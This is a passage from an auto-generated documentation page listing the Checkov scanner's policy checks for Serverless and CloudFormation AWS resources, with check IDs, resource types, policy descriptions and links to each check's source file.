    "content": "---\nlayout: default\ntitle: serverless resource scans\nnav_order: 1\n---\n\n# serverless resource scans (auto generated)\n\n|    | Id         | Type     | Entity         | Policy                                                                              | IaC        | Resource Link                                                                                                                                       |\n|----|------------|----------|----------------|-------------------------------------------------------------------------------------|------------|-----------------------------------------------------------------------------------------------------------------------------------------------------|\n|  0 | CKV_AWS_1  | resource | serverless_aws | Ensure IAM policies that allow full \"*-*\" administrative privileges are not created | serverless | [AdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/serverless/checks/function/aws/AdminPolicyDocument.py)           |\n|  1 | CKV_AWS_41 | resource | serverless_aws | Ensure no hard coded AWS access key and secret key exists in provider               | serverless | [AWSCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/serverless/checks/function/aws/AWSCredentials.py)                     |\n|  2 | CKV_AWS_49 | resource | serverless_aws | Ensure no IAM policies documents allow \"*\" as a statement's actions                 | serverless | [StarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/serverless/checks/function/aws/StarActionPolicyDocument.py) |\n\n\n---\n\n\n|      | Id          | Type     | Entity                                                           | Policy                                                                                                                                                                                                   | IaC            | Resource Link                                                                                                                                                                                                         |\n|------|-------------|----------|------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n|    0 | CKV_AWS_2   | resource | AWS::ElasticLoadBalancingV2::Listener                            | Ensure ALB protocol is HTTPS                                                                                                                                                                             | Cloudformation | [ALBListenerHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ALBListenerHTTPS.py)                                                                               |\n|    1 | CKV_AWS_3   | resource | AWS::EC2::Volume                                                 | Ensure all data stored in the EBS is securely encrypted                                                                                                                                                  | Cloudformation | [EBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EBSEncryption.py)                                                                                     |\n|    2 | CKV_AWS_5   | resource | AWS::Elasticsearch::Domain                                       | Ensure all data stored in the Elasticsearch is securely encrypted at rest                                                                                                                                | Cloudformation | [ElasticsearchEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchEncryption.py)                                                                 |\n|    3 | CKV_AWS_6   | resource | AWS::Elasticsearch::Domain                                       | Ensure all Elasticsearch has node-to-node encryption enabled                                                                                                                                             | Cloudformation | [ElasticsearchNodeToNodeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchNodeToNodeEncryption.py)                                             |\n|    4 | CKV_AWS_7   | resource | AWS::KMS::Key                                                    | Ensure rotation for customer created CMKs is enabled                                                                                                                                                     | Cloudformation | [KMSRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/KMSRotation.py)                                                                                         |\n|    5 | CKV_AWS_8   | resource | AWS::AutoScaling::LaunchConfiguration                            | Ensure all data stored in the Launch configuration EBS is securely encrypted                                                                                                                             | Cloudformation | [LaunchConfigurationEBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LaunchConfigurationEBSEncryption.py)                                               |\n|    6 | CKV_AWS_16  | resource | AWS::RDS::DBInstance                                             | Ensure all data stored in the RDS is securely encrypted at rest                                                                                                                                          | Cloudformation | [RDSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSEncryption.py)                                                                                     |\n|    7 | CKV_AWS_17  | resource | AWS::RDS::DBInstance                                             | Ensure all data stored in RDS is not publicly accessible                                                                                                                                                 | Cloudformation | [RDSPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSPubliclyAccessible.py)                                                                     |\n|    8 | CKV_AWS_18  | resource | AWS::S3::Bucket                                                  | Ensure the S3 bucket has access logging enabled                                                                                                                                                          | Cloudformation | [S3AccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3AccessLogs.py)                                                                                       |\n|    9 | CKV_AWS_19  | resource | AWS::S3::Bucket                                                  | Ensure the S3 bucket has server-side-encryption enabled                                                                                                                                                  | Cloudformation | [S3Encryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3Encryption.py)                                                                                       |\n|   10 | CKV_AWS_20  | resource | AWS::S3::Bucket                                                  | Ensure the S3 bucket does not allow READ permissions to everyone                                                                                                                                         | Cloudformation | [S3PublicACLRead.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3PublicACLRead.py)                                                                                 |\n|   11 | CKV_AWS_21  | resource | AWS::S3::Bucket                                                  | Ensure the S3 bucket has versioning enabled                                                                                                                                                              | Cloudformation | [S3Versioning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3Versioning.py)                                                                                       |\n|   12 | CKV_AWS_23  | resource | AWS::EC2::SecurityGroup                                          | Ensure every security groups rule has a description                                                                                                                                                      | Cloudformation | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupRuleDescription.py)                                                       |\n|   13 | CKV_AWS_23  | resource | AWS::EC2::SecurityGroupEgress                                    | Ensure every security groups rule has a description                                                                                                                                                      | Cloudformation | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupRuleDescription.py)                                                       |\n|   14 | CKV_AWS_23  | resource | AWS::EC2::SecurityGroupIngress                                   | Ensure every security groups rule has a description                                                                                                                                                      | Cloudformation | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupRuleDescription.py)                                                       |\n|   15 | CKV_AWS_24  | resource | AWS::EC2::SecurityGroup                                          | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22                                                                                                                                        | Cloudformation | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py)                                           |\n|   16 | CKV_AWS_24  | resource | AWS::EC2::SecurityGroupIngress                                   | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22                                                                                                                                        | Cloudformation | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py)                                           |\n|   17 | CKV_AWS_25  | resource | AWS::EC2::SecurityGroup                                          | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389                                                                                                                                      | Cloudformation | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py)                                       |\n|   18 | CKV_AWS_25  | resource | AWS::EC2::SecurityGroupIngress                                   | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389                                                                                                                                      | Cloudformation | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py)                                       |\n|   19 | CKV_AWS_26  | resource | AWS::SNS::Topic                                                  | Ensure all data stored in the SNS topic is encrypted                                                                                                                                                     | Cloudformation | [SNSTopicEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SNSTopicEncryption.py)                                                                           |\n|   20 | CKV_AWS_27  | resource | AWS::SQS::Queue                                                  | Ensure all data stored in the SQS queue is encrypted                                                                                                                                                     | Cloudformation | [SQSQueueEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SQSQueueEncryption.py)                                                                           |\n|   21 | CKV_AWS_28  | resource | AWS::DynamoDB::Table                                             | Ensure DynamoDB point in time recovery (backup) is enabled                                                                                                                                               | Cloudformation | [DynamodbRecovery.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DynamodbRecovery.py)                                                                               |\n|   22 | CKV_AWS_29  | resource | AWS::ElastiCache::ReplicationGroup                               | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at rest                                                                                                                | Cloudformation | [ElasticacheReplicationGroupEncryptionAtRest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtRest.py)                         |\n|   23 | CKV_AWS_30  | resource | AWS::ElastiCache::ReplicationGroup                               | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit                                                                                                             | Cloudformation | [ElasticacheReplicationGroupEncryptionAtTransit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransit.py)                   |\n|   24 | CKV_AWS_31  | resource | AWS::ElastiCache::ReplicationGroup                               | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit and has auth token                                                                                          | Cloudformation | [ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py) |\n|   25 | CKV_AWS_32  | resource | AWS::ECR::Repository                                             | Ensure ECR policy is not set to public                                                                                                                                                                   | Cloudformation | [ECRPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRPolicy.py)                                                                                             |\n|   26 | CKV_AWS_33  | resource | AWS::KMS::Key                                                    | Ensure KMS key policy does not contain wildcard (*) principal                                                                                                                                            | Cloudformation | [KMSKeyWildCardPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/KMSKeyWildCardPrincipal.py)                                                                 |\n|   27 | CKV_AWS_34  | resource | AWS::CloudFront::Distribution                                    | Ensure CloudFront Distribution ViewerProtocolPolicy is set to HTTPS                                                                                                                                      | Cloudformation | [CloudfrontDistributionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudfrontDistributionEncryption.py)                                               |\n|   28 | CKV_AWS_35  | resource | AWS::CloudTrail::Trail                                           | Ensure CloudTrail logs are encrypted at rest using KMS CMKs                                                                                                                                              | Cloudformation | [CloudtrailEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudtrailEncryption.py)                                                                       |\n|   29 | CKV_AWS_36  | resource | AWS::CloudTrail::Trail                                           | Ensure CloudTrail log file validation is enabled                                                                                                                                                         | Cloudformation | [CloudtrailLogValidation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudtrailLogValidation.py)                                                                 |\n|   30 | CKV_AWS_40  | resource | AWS::IAM::Policy                                                 | Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.) | Cloudformation | [IAMPolicyAttachedToGroupOrRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py)                                                 |\n|   31 | CKV_AWS_42  | resource | AWS::EFS::FileSystem                                             | Ensure EFS is securely encrypted                                                                                                                                                                         | Cloudformation | [EFSEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EFSEncryptionEnabled.py)                                                                       |\n|   32 | CKV_AWS_43  | resource | AWS::Kinesis::Stream                                             | Ensure Kinesis Stream is securely encrypted                                                                                                                                                              | Cloudformation | [KinesisStreamEncryptionType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/KinesisStreamEncryptionType.py)                                                         |\n|   33 | CKV_AWS_44  | resource | AWS::Neptune::DBCluster                                          | Ensure Neptune storage is securely encrypted                                                                                                                                                             | Cloudformation | [NeptuneClusterStorageEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/NeptuneClusterStorageEncrypted.py)                                                   |\n|   34 | CKV_AWS_45  | resource | AWS::Lambda::Function                                            | Ensure no hard-coded secrets exist in Lambda environment                                                                                                                                                 | Cloudformation | [LambdaEnvironmentCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentCredentials.py)                                                       |\n|   35 | CKV_AWS_45  | resource | AWS::Serverless::Function                                        | Ensure no hard-coded secrets exist in Lambda environment                                                                                                                                                 | Cloudformation | [LambdaEnvironmentCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentCredentials.py)                                                       |\n|   36 | CKV_AWS_46  | resource | AWS::EC2::Instance                                               | Ensure no hard-coded secrets exist in EC2 user data                                                                                                                                                      | Cloudformation | [EC2Credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EC2Credentials.py)                                                                                   |\n|   37 | CKV_AWS_47  | resource | AWS::DAX::Cluster                                                | Ensure DAX is encrypted at rest (default is unencrypted)                                                                                                                                                 | Cloudformation | [DAXEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DAXEncryption.py)                                                                                     |\n|   38 | CKV_AWS_51  | resource | AWS::ECR::Repository                                             | Ensure ECR Image Tags are immutable                                                                                                                                                                      | Cloudformation | [ECRImmutableTags.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRImmutableTags.py)                                                                               |\n|   39 | CKV_AWS_53  | resource | AWS::S3::Bucket                                                  | Ensure S3 bucket has block public ACLs enabled                                                                                                                                                           | Cloudformation | [S3BlockPublicACLs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3BlockPublicACLs.py)                                                                             |\n|   40 | CKV_AWS_54  | resource | AWS::S3::Bucket                                                  | Ensure S3 bucket has block public policy enabled                                                                                                                                                         | Cloudformation | [S3BlockPublicPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3BlockPublicPolicy.py)                                                                         |\n|   41 | CKV_AWS_55  | resource | AWS::S3::Bucket                                                  | Ensure S3 bucket has ignore public ACLs enabled                                                                                                                                                          | Cloudformation | [S3IgnorePublicACLs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3IgnorePublicACLs.py)                                                                           |\n|   42 | CKV_AWS_56  | resource | AWS::S3::Bucket                                                  | Ensure S3 bucket has RestrictPublicBuckets enabled                                                                                                                                                       | Cloudformation | [S3RestrictPublicBuckets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3RestrictPublicBuckets.py)                                                                 |\n|   43 | CKV_AWS_57  | resource | AWS::S3::Bucket                                                  | Ensure the S3 bucket does not allow WRITE permissions to everyone                                                                                                                                        | Cloudformation | [S3PublicACLWrite.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3PublicACLWrite.py)                                                                               |\n|   44 | CKV_AWS_58  | resource | AWS::EKS::Cluster                                                | Ensure EKS Cluster has Secrets Encryption Enabled                                                                                                                                                        | Cloudformation | [EKSSecretsEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EKSSecretsEncryption.py)                                                                       |\n|   45 | CKV_AWS_59  | resource | AWS::ApiGateway::Method                                          | Ensure there is no open access to back-end resources through API                                                                                                                                         | Cloudformation | [APIGatewayAuthorization.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayAuthorization.py)                                                                 |\n|   46 | CKV_AWS_60  | resource | AWS::IAM::Role                                                   | Ensure IAM role allows only specific services or principals to assume it                                                                                                                                 | Cloudformation | [IAMRoleAllowsPublicAssume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMRoleAllowsPublicAssume.py)                                                             |\n|   47 | CKV_AWS_61  | resource | AWS::IAM::Role                                                   | Ensure AWS IAM policy does not allow assume role permission across all services                                                                                                                          | Cloudformation | [IAMRoleAllowAssumeFromAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMRoleAllowAssumeFromAccount.py)                                                     |\n|   48 | CKV_AWS_62  | resource | AWS::IAM::Group                                                  | Ensure no IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                   | Cloudformation | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                   |\n|   49 | CKV_AWS_62  | resource | AWS::IAM::Policy                                                 | Ensure no IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                   | Cloudformation | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                   |\n|   50 | CKV_AWS_62  | resource | AWS::IAM::Role                                                   | Ensure no IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                   | Cloudformation | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                   |\n|   51 | CKV_AWS_62  | resource | AWS::IAM::User                                                   | Ensure no IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                   | Cloudformation | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                   |\n|   52 | CKV_AWS_63  | resource | AWS::IAM::Group                                                  | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Cloudformation | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                         |\n|   53 | CKV_AWS_63  | resource | AWS::IAM::Policy                                                 | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Cloudformation | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                         |\n|   54 | CKV_AWS_63  | resource | AWS::IAM::Role                                                   | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Cloudformation | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                         |\n|   55 | CKV_AWS_63  | resource | AWS::IAM::User                                                   | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Cloudformation | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                         |\n|   56 | CKV_AWS_64  | resource | AWS::Redshift::Cluster                                           | Ensure all data stored in the Redshift cluster is securely encrypted at rest                                                                                                                             | Cloudformation | [RedshiftClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftClusterEncryption.py)                                                             |\n|   57 | CKV_AWS_65  | resource | AWS::ECS::Cluster                                                | Ensure container insights are enabled on ECS cluster                                                                                                                                                     | Cloudformation | [ECSClusterContainerInsights.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECSClusterContainerInsights.py)                                                         |\n|   58 | CKV_AWS_66  | resource | AWS::Logs::LogGroup                                              | Ensure that CloudWatch Log Group specifies retention days                                                                                                                                                | Cloudformation | [CloudWatchLogGroupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudWatchLogGroupRetention.py)                                                         |\n|   59 | CKV_AWS_67  | resource | AWS::CloudTrail::Trail                                           | Ensure CloudTrail is enabled in all Regions                                                                                                                                                              | Cloudformation | [CloudtrailMultiRegion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudtrailMultiRegion.py)                                                                     |\n|   60 | CKV_AWS_68  | resource | AWS::CloudFront::Distribution                                    | CloudFront Distribution should have WAF enabled                                                                                                                                                          | Cloudformation | [WAFEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WAFEnabled.py)                                                                                           |\n|   61 | CKV_AWS_69  | resource | AWS::AmazonMQ::Broker                                            | Ensure Amazon MQ Broker should not have public access                                                                                                                                                    | Cloudformation | [AmazonMQBrokerPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AmazonMQBrokerPublicAccess.py)                                                           |\n|   62 | CKV_AWS_71  | resource | AWS::Redshift::Cluster                                           | Ensure Redshift Cluster logging is enabled                                                                                                                                                               | Cloudformation | [RedshiftClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftClusterLogging.py)                                                                   |\n|   63 | CKV_AWS_73  | resource | AWS::ApiGateway::Stage                                           | Ensure API Gateway has X-Ray Tracing enabled                                                                                                                                                             | Cloudformation | [APIGatewayXray.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayXray.py)                                                                                   |\n|   64 | CKV_AWS_73  | resource | AWS::Serverless::Api                                             | Ensure API Gateway has X-Ray Tracing enabled                                                                                                                                                             | Cloudformation | [APIGatewayXray.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayXray.py)                                                                                   |\n|   65 | CKV_AWS_74  | resource | AWS::DocDB::DBCluster                                            | Ensure DocumentDB is encrypted at rest (default is unencrypted)                                                                                                                                          | Cloudformation | [DocDBEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBEncryption.py)                                                                                 |\n|   66 | CKV_AWS_76  | resource | AWS::ApiGateway::Stage                                           | Ensure API Gateway has Access Logging enabled                                                                                                                                                            | Cloudformation | [APIGatewayAccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayAccessLogging.py)                                                                 |\n|   67 | CKV_AWS_76  | resource | AWS::Serverless::Api                                             | Ensure API Gateway has Access Logging enabled                                                                                                                                                            | Cloudformation | [APIGatewayAccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayAccessLogging.py)                                                                 |\n|   68 | CKV_AWS_78  | resource | AWS::CodeBuild::Project                                          | Ensure that CodeBuild Project encryption is not disabled                                                                                                                                                 | Cloudformation | [CodeBuildProjectEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CodeBuildProjectEncryption.py)                                                           |\n|   69 | CKV_AWS_79  | resource | AWS::EC2::LaunchTemplate                                         | Ensure Instance Metadata Service Version 1 is not enabled                                                                                                                                                | Cloudformation | [IMDSv1Disabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IMDSv1Disabled.py)                                                                                   |\n|   70 | CKV_AWS_80  | resource | AWS::MSK::Cluster                                                | Ensure MSK Cluster logging is enabled                                                                                                                                                                    | Cloudformation | [MSKClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MSKClusterLogging.py)                                                                             |\n|   71 | CKV_AWS_81  | resource | AWS::MSK::Cluster                                                | Ensure MSK Cluster encryption in rest and transit is enabled                                                                                                                                             | Cloudformation | [MSKClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MSKClusterEncryption.py)                                                                       |\n|   72 | CKV_AWS_82  | resource | AWS::Athena::WorkGroup                                           | Ensure Athena Workgroup should enforce configuration to prevent client disabling encryption                                                                                                              | Cloudformation | [AthenaWorkgroupConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AthenaWorkgroupConfiguration.py)                                                       |\n|   73 | CKV_AWS_83  | resource | AWS::Elasticsearch::Domain                                       | Ensure Elasticsearch Domain enforces HTTPS                                                                                                                                                               | Cloudformation | [ElasticsearchDomainEnforceHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainEnforceHTTPS.py)                                                 |\n|   74 | CKV_AWS_84  | resource | AWS::Elasticsearch::Domain                                       | Ensure Elasticsearch Domain Logging is enabled                                                                                                                                                           | Cloudformation | [ElasticsearchDomainLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainLogging.py)                                                           |\n|   75 | CKV_AWS_84  | resource | AWS::OpenSearchService::Domain                                   | Ensure Elasticsearch Domain Logging is enabled                                                                                                                                                           | Cloudformation | [ElasticsearchDomainLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainLogging.py)                                                           |\n|   76 | CKV_AWS_85  | resource | AWS::DocDB::DBCluster                                            | Ensure DocumentDB Logging is enabled                                                                                                                                                                     | Cloudformation | [DocDBLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBLogging.py)                                                                                       |\n|   77 | CKV_AWS_86  | resource | AWS::CloudFront::Distribution                                    | Ensure CloudFront Distribution has Access Logging enabled                                                                                                                                                | Cloudformation | [CloudfrontDistributionLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudfrontDistributionLogging.py)                                                     |\n|   78 | CKV_AWS_87  | resource | AWS::Redshift::Cluster                                           | Redshift cluster should not be publicly accessible                                                                                                                                                       | Cloudformation | [RedshiftClusterPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftClusterPubliclyAccessible.py)                                             |\n|   79 | CKV_AWS_88  | resource | AWS::EC2::Instance                                               | EC2 instance should not have public IP.                                                                                                                                                                  | Cloudformation | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EC2PublicIP.py)                                                                                         |\n|   80 | CKV_AWS_88  | resource | AWS::EC2::LaunchTemplate                                         | EC2 instance should not have public IP.                                                                                                                                                                  | Cloudformation | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EC2PublicIP.py)                                                                                         |\n|   81 | CKV_AWS_89  | resource | AWS::DMS::ReplicationInstance                                    | DMS replication instance should not be publicly accessible                                                                                                                                               | Cloudformation | [DMSReplicationInstancePubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DMSReplicationInstancePubliclyAccessible.py)                               |\n|   82 | CKV_AWS_90  | resource | AWS::DocDB::DBClusterParameterGroup                              | Ensure DocumentDB TLS is not disabled                                                                                                                                                                    | Cloudformation | [DocDBTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBTLS.py)                                                                                               |\n|   83 | CKV_AWS_91  | resource | AWS::ElasticLoadBalancingV2::LoadBalancer                        | Ensure the ELBv2 (Application/Network) has access logging enabled                                                                                                                                        | Cloudformation | [ELBv2AccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ELBv2AccessLogs.py)                                                                                 |\n|   84 | CKV_AWS_92  | resource | AWS::ElasticLoadBalancing::LoadBalancer                          | Ensure the ELB has access logging enabled                                                                                                                                                                | Cloudformation | [ELBAccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ELBAccessLogs.py)                                                                                     |\n|   85 | CKV_AWS_94  | resource | AWS::Glue::DataCatalogEncryptionSettings                         | Ensure Glue Data Catalog Encryption is enabled                                                                                                                                                           | Cloudformation | [GlueDataCatalogEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueDataCatalogEncryption.py)                                                             |\n|   86 | CKV_AWS_95  | resource | AWS::ApiGatewayV2::Stage                                         | Ensure API Gateway V2 has Access Logging enabled                                                                                                                                                         | Cloudformation | [APIGatewayV2AccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayV2AccessLogging.py)                                                             |\n|   87 | CKV_AWS_95  | resource | AWS::Serverless::HttpApi                                         | Ensure API Gateway V2 has Access Logging enabled                                                                                                                                                         | Cloudformation | [APIGatewayV2AccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayV2AccessLogging.py)                                                             |\n|   88 | CKV_AWS_96  | resource | AWS::RDS::DBCluster                                              | Ensure all data stored in Aurora is securely encrypted at rest                                                                                                                                           | Cloudformation | [AuroraEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AuroraEncryption.py)                                                                               |\n|   89 | CKV_AWS_97  | resource | AWS::ECS::TaskDefinition                                         | Ensure Encryption in transit is enabled for EFS volumes in ECS Task definitions                                                                                                                          | Cloudformation | [ECSTaskDefinitionEFSVolumeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECSTaskDefinitionEFSVolumeEncryption.py)                                       |\n|   90 | CKV_AWS_99  | resource | 